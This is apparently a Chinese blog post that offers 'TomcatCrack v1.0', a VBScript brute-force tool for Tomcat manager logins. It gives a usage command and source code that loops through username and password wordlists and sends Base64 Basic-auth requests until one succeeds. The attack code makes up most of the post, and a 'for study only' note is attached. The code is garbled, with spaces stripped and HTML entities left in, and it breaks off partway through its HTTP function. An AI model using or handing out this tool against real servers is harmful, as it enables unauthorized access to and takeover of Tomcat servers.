TomcatCrackv1.0（后台管理密码暴力破解）

Tomcat后台暴力破解工具，仅供学习之用。
转载请注明出处:
QQ:540410588
blog:http://hi.baidu.com/540410588
使用示例如下：
cscriptcrack.vbs-lhttp://localhost:8080/manager/html/-s401
结果
 

 
源代码如下：
OnErrorResumenext

ConstsBASE_64_CHARACTERS="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

Dimurl,user,pass,search

setarg=wscript.arguments

If(LCase(Right(Wscript.fullname,11))="Wscript.Exe")Then

Wscript.Quit

EndIf

ifarg.count=0orarg.length<>4then

Calluseage()

Wscript.Quit

Else

Callinit()

EndIf

'-------------------------------使用说明-------------------------------------------------------

Subuseage()

wsh.echostring(79,&quot;*&quot;)

wsh.echo&quot;&quot;

wsh.echo&quot;TomcatCrackv1.0&quot;

wsh.echo&quot;Madeby孤水绕城justfortest!!!&quot;

wsh.echo&quot;QQ:540410588Blog:http://hi.baidu.com/540410588&quot;

wsh.echo&quot;&quot;

wsh.echo&quot;注：此工具作为暴力破解用户名密码之用，条件是没有认证码做验证&quot;

wsh.echo&quot;Usage:&quot;

wsh.echo&quot;cscript&quot;&wscript.scriptname&&quot;-l(接收用户名密码的url，需要tomcat完整路径)-s(返回错误信息关键字)&quot;

wsh.echo&quot;示例如下：cscript&quot;&wscript.scriptname&&quot;-lhttp://localhost:8080/manager/html/-s401&quot;

wsh.echostring(79,&quot;*&quot;)&vbcrlf

EndSub

'-------------------------------使用说明-------------------------------------------------------

'-------------------------------读取参数-------------------------------------------------------

Subinit()

Dims

Fors=0Toarg.length-1

If(arg(s)=&quot;-l&quot;)Then:url=arg(s+1):EndIf

If(arg(s)=&quot;-s&quot;)Then:search=arg(s+1):EndIf

Next

IfTrim(url)<>&quot;&quot;AndTrim(search)<>&quot;&quot;Then

Callmain()

Else

Calluseage()

wscript.quit

EndIf
EndSub

'------------------------------该部分用于读取user和pass字典并暴力破解----------------------------------

Submain()

Dimbase

Dimpath,length,fullpath,scriptName,userStr,passStr,result,postStr

fullpath=wscript.ScriptFullName:length=InStr(fullpath,scriptName):path=Mid(fullpath,1,length-1)

Setfso=CreateObject(&quot;Scripting.FileSystemObject&quot;)

Iffso.fileExists(path&&quot;user.txt&quot;)Andfso.fileExists(path&&quot;pass.txt&quot;)Then

Setotfuser=fso.OpenTextFile(path&&quot;user.txt&quot;)

DoWhileotfuser.AtEndOfLine<>True

userStr=otfuser.readLine()

userStr=RegReplace(userStr,&quot;[\s]+&quot;,&quot;&quot;)'去除多余空格

If(userStr<>&quot;&quot;)Then

Setotfpass=fso.OpenTextFile(path&&quot;pass.txt&quot;)

DoWhileotfpass.AtEndOfLine<>True

passStr=otfpass.readLine()

wsh.echo&quot;Checking......&quot;&userStr&&quot;------&quot;&passStr

postStr=Base64encode(userStr&&quot;:&quot;&passStr)

result=getHTTPPage(url,postStr)

If(InStr(1,result,search,1)<1)Then

wsh.echo&quot;&quot;

wsh.echo&quot;GoodJob!!!&quot;&vbcrlf&&quot;YouHaveFoundTheResult&quot;&vbcrlf&&quot;username:&quot;&userStr&&quot;-------password:&quot;&passStr

wscript.quit

EndIf

loop

EndIf

Loop

wsh.echo&quot;SorryIcan'tFindTheResult,PleaseExpandTheDic.&quot;

Else

MsgBox(&quot;请确定user.txt和pass.txt放在&quot;&path&&quot;文件夹中&quot;)

wscript.quit

EndIf

Setotfuser=Nothing

Setotfpass=Nothing

Setfso=Nothing

EndSub

FunctionRegReplace(ByValstr1,ByValpatrn,ByValreplStr)

DimregEx

SetregEx=NewRegExp

regEx.Pattern=patrn

regEx.MultiLine=True

regEx.IgnoreCase=True

regEx.Global=True

RegReplace=regEx.Replace(str1,replStr)

setregEx=Nothing

EndFunction

'------------------------------该部分用于读取user和pass字典并暴力破解----------------------------------
'------------------------------该部分用于提交数据----------------------------------------
functiongetHTTPPage(url,postStr)

dimHttp

'setHttp=createobject(&quot;MSXML2.XMLHTTP&quot;)'用这个组件报错

setHttp=createobject(&quot;MSXML2.serverXMLHTTP&quot;)'这个组件才成

Http.open&quot;GET&quot;,url,False

Http.SetRequestHeader&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;

Http.setRequestHeader&quot;Connection&quot;,&quot;Keep-Alive&quot;

Http.setRequestHeader&quot;Cache-Control&quot;,&quot;no-cache&quot;
*
*